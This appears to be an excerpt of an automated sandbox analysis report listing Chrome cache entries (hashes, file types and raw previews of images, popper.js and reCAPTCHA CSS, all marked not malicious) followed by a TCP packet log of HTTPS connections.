Preview:	.PNG........IHDR...............A>....sRGB.........bKGD..............pHYs.................tIME.......y.CF.. .IDATx..i.$.u.x.{..Y..]U..... ...A.(..$....I}.e.d.8...<...-.,[......Z..c.h..B........N.;...TWUW.j.-..;?b{..Y.....I..2+++3...{.}.3.gn....:'.s...?.........y..^..O.RMhUi..g.4.Q.sA\I..........H...).D....o..4_q..=UD.w.......n.9..`...?.[....vW0?...fc.F........T.P.Rp..".....N..dL.... U.<...g"......5b&.....\.`."T.`.ML\~..{.`GF`GF.F.&.@.0L@.^.#U....$..:.H..hs..G.j..Hc. ..-.'(z......W..........3...s.=.......#._*.&...<...,Z.....a...IN..]..O.gHf.._.Z@..N.....c..om....Q.O...[....>87.7.<..`......B...A....".&&.1=.........:..CEJ.Q.0z.G+..3.x.g.....^tWV....i-H>...U..q...q....W<...s;<.8........i.hh81...Esz....@T......^t.....<X,.&.>......c."..>l.{..v;......O.n.?.#8...:Oy.\|.{..I+..g... ......0..?$.E.Er.h....."L..?%U...G..RIM..m...d......H.....,z++....sV..n^[....)..z,=..3N;...um..g.~...................... P.Q.Q....+........j@Dc.R....@..;.....&.qP\|....o.\..3.......1.

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 868 x 14
Category:	dropped
Size (bytes):	537
Entropy (8bit):	6.848296452361371
Encrypted:	false
SSDEEP:	12:BDGHgnth2eq8ExIFDW+ax8+RorOwL+8Cu2uPhNWnyRmK3Fd7HRa:lGHith7rEAW+a0W8GChUnyRmoy
MD5:	54EB288427ACF79ED320EFD4916FE0B7
SHA1:	67BA813FF74D52035D70FCDA58B57563F01FB829
SHA-256:	70E4A5F9F7D98C1564B17ECC69196FED4F74FE5AFB2C61B4FB7045DD3309DC4F
SHA-512:	C7C00A268ADA15FC6B19F64860DD5CE92FA69E6B64E2D7B3ADA02B74E6CC3C4EB4466BBA443752A76F4EE908FA93F3683C6256F7A473B05C86ECAEBBCAC125E1
Malicious:	false
Reputation:	low
Preview:	GIF89ad......6e............\|.....m.....\.......Nw................X..s........d.................{..~.....k.....c..Y......................................................................................!.......,....d......@.AB,...r.l:..tJ.Z..v..z..xL....z]T...\|N.....~.....OnB.............Un.............S......................................f..............D.........f..............D.#p.........E......H...2..............@....#..... C..I...(S.\...0c.I...8s.....6.*.d.......(ph.DC...8..Z...X.j....`..K...S9X Q"I..;

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56398), with no line terminators
Category:	downloaded
Size (bytes):	56398
Entropy (8bit):	5.907604034780877
Encrypted:	false
SSDEEP:	768:+LUmmAWTe2uXYp8Mi+yKYlebyB5lxRx54PHSGdXXwW7MFWwXVuE2:4UcW6v+0B5chXwW49z2
MD5:	EB4BC511F79F7A1573B45F5775B3A99B
SHA1:	D910FB51AD7316AA54F055079374574698E74B35
SHA-256:	7859A62E04B0ACB06516EB12454DE6673883ECFAEAED6C254659BCA7CD59C050
SHA-512:	EC9BDF1C91B6262B183FD23F640EAC22016D1F42DB631380676ED34B962E01BADDA91F9CBDFA189B42FE3182A992F1B95A7353AF41E41B2D6E1DAB17E87637A0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexI

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	dropped
Size (bytes):	35237
Entropy (8bit):	7.9696524125044546
Encrypted:	false
SSDEEP:	768:e8ytiDVAfRXqtIkbbUsX3HuuzuPT7+l/pNN0IvmEr3hnrCyGcEbo:eUAfUIJs3HtaT7+l/pL0IvmE1OX0
MD5:	B171D32915B4457AA4A07E5F50F91B9F
SHA1:	6845EBFDC8D36F90C845840B03B2E77B3C6BA0B1
SHA-256:	DB786DCD5A55D2F3CCDDF895163D5556DB649A394B4DAE10FBF3A59DCA71081F
SHA-512:	84858CB083CD6577F3003B658E58C1516DA2E9DBF82EA7BDAE927C266F84640A316F6B4D003D4D906023076155EA082F3B2B90E7048979B64024D1BFC3A192C5
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..o.....5\|z.........5...h.R.....\.....e....\.7..kl...F8.e...D..r.}.=MtVz....y....W....Cv!c.....3.K.......u....?..tW..c.{;.....\...wg!Y.a..T.-.....5.G..]8...[6.#.P......t....U1...~f9.W..oG......q.....D............\$.....A.@..-(..dg...!.......{.A.J...F.f.....y .w...OQR.&.}OZ....."..O...F..J.....@.5.+,.8?.p.rWW;..bX.sY...,_.p.=M5..+.X..v..._J..#..s...@.Y

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 868x169, components 3
Category:	downloaded
Size (bytes):	4335
Entropy (8bit):	5.483603315043782
Encrypted:	false
SSDEEP:	48:Ivi3ZsdwUKPGIhuF/ig2BamU/CSkMKisRHcfZakyWr9A9RSxNRXbRzwn:HpowU4ovDPCSrKishcxjyWrCCb+n
MD5:	DE6ECBBB2471827D90BF32C47A0CBC45
SHA1:	FFEAAFE8B9CA2752908C5D4E95E4803EF7FFDD18
SHA-256:	5CAE6C33F0F9D4449CE8539A60E7D40EBA2DDC75979FC26284854A29C36D08CB
SHA-512:	FAF0F054EF55B3362BA26615BC670DCC0471D660BBFBC4D086CE8CB143D31235AFC4AD4332FB669CAB4ED422C99FE67AB31D8E955D9B18F21A4CFDD33090D496
Malicious:	false
Reputation:	low
URL:	https://smsfrica.com/cgi-sys/images/404top_w.jpg
Preview:	......JFIF.....H.H.....C..............................................!........."$".$.......C.........................................................................d..........................................:..............................!..16FQt.....aq..AV..&..................................'....................R........Q.!13...............?..X..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	29590
Entropy (8bit):	7.970811158341775
Encrypted:	false
SSDEEP:	768:aVRn0pjxOCGgFHyIUxxH32U0Ez43HBoXpx1Y/:aVmpVOCzlyJT3l0o43HBoXpi
MD5:	25DE57042ED45CE926138DA093D784F8
SHA1:	0740B068FDB8546B5248EF5274C8A14AD095ECEB
SHA-256:	46FB09B42E5E6614ACA16B50456D12D373E93266242E6DC5CC2BBD7D12651E68
SHA-512:	578A5B5E2943230C81C7C01FCB07B79BC499C406285E40F50157E07EB0978E1E2DBEED2A9A5275F59E2ECDC76FD6ACF585AE5745244B58A2D64EC98A77B0D923
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....a.8.L.01.>..M.....o.#......s.]...D.4.a]B..)...%4.f&...Hq.Hn.3.q.\....n.F.fwaB.........X.+..e..X3..l....Z..u..1.ri.c..k....W...5-.W .\..W.5...dbHO.. ...}..i..,A..L`.g.+i.1<bI!vR..2...<f..K.V..o....p..@.7A...y..].3..7b.M.<...:....Aa0..i.V...`...]Ik.+6.T..h.$.e......O2.....x......X.F...Z.ZL.E@.Xm#?...........4.....[].s$..)..ILj......UM2..T........."@..

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2024 13:57:33.814372063 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:33.814419031 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:33.814475060 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:33.816572905 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:33.816595078 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.047599077 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.048513889 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.048549891 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.049781084 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.049854040 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.051301956 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.051459074 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.051486015 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.051503897 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.100272894 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.100301027 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.147241116 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.604674101 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.604799032 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.604845047 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.604912996 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.605765104 CET	49709	443	192.168.2.17	142.250.80.35
Mar 15, 2024 13:57:34.605804920 CET	443	49709	142.250.80.35	192.168.2.17
Mar 15, 2024 13:57:34.699836016 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:34.699870110 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:34.699960947 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:34.700203896 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:34.700221062 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:34.892154932 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:34.892545938 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:34.892561913 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:34.893409967 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:34.893490076 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:34.895181894 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:34.895237923 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:34.895771027 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:34.895778894 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:34.946253061 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.078701019 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.078744888 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.078805923 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.078821898 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.078846931 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.078864098 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.078912020 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.080105066 CET	49711	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.080122948 CET	443	49711	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.110558033 CET	49712	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.110670090 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.110805988 CET	49712	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.111049891 CET	49712	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.111088037 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.300721884 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.301172972 CET	49712	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.301217079 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.301745892 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.302117109 CET	49712	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.302210093 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.302278996 CET	49712	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.348236084 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.503887892 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.504060030 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.504244089 CET	49712	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.504790068 CET	49712	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:35.504842997 CET	443	49712	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:35.754225969 CET	49678	443	192.168.2.17	204.79.197.200
Mar 15, 2024 13:57:35.754240036 CET	49677	443	192.168.2.17	204.79.197.200
Mar 15, 2024 13:57:35.754251003 CET	49676	443	192.168.2.17	204.79.197.200
Mar 15, 2024 13:57:36.819159031 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:36.819190979 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:36.819319963 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:36.819747925 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:36.819766045 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.025456905 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.025825024 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.025866985 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.026310921 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.026699066 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.026767015 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.027002096 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.027031898 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.222527027 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.222594023 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.222639084 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.222695112 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.222723961 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.222779036 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.222825050 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.222832918 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.222883940 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.228380919 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.234522104 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.234571934 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.234579086 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.234595060 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.234642029 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.238966942 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.245232105 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.245296001 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.245310068 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.295247078 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.310354948 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.314033985 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.314094067 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.314095974 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.314110994 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.314162970 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.319637060 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.325788021 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.325956106 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.325972080 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.332120895 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.332210064 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.332217932 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.337999105 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.338052034 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.338062048 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.344271898 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.344331026 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.344337940 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.350311041 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.350387096 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.350395918 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.355834961 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.355948925 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.355957031 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.361264944 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.361326933 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.361334085 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.367110014 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.367185116 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.367192030 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.372714996 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.372772932 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.372782946 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.372793913 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.372853041 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.378765106 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.380645990 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.380713940 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.380721092 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.380817890 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:37.380876064 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.381072998 CET	49715	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:37.381089926 CET	443	49715	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.098047018 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.098072052 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.098134995 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.098426104 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.098434925 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.290355921 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.290658951 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.290674925 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.290981054 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.291372061 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.291429043 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.292046070 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.292081118 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.292148113 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.292165041 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.292392015 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.292417049 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.336229086 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.474666119 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.474725008 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.474761009 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.474805117 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.474811077 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.474832058 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.474848032 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.480782986 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.480819941 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.480842113 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.480848074 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.480895996 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.481817007 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.482106924 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.482121944 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.482461929 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.482908010 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.482968092 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.483109951 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.487248898 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.493489027 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.493516922 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.493570089 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.493576050 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.493619919 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.499775887 CET	443	49719	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.523122072 CET	49721	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.523133993 CET	443	49721	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:38.549324036 CET	49719	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:38.565308094 CET	443	49719	142.250.65.164	192.168.2.17
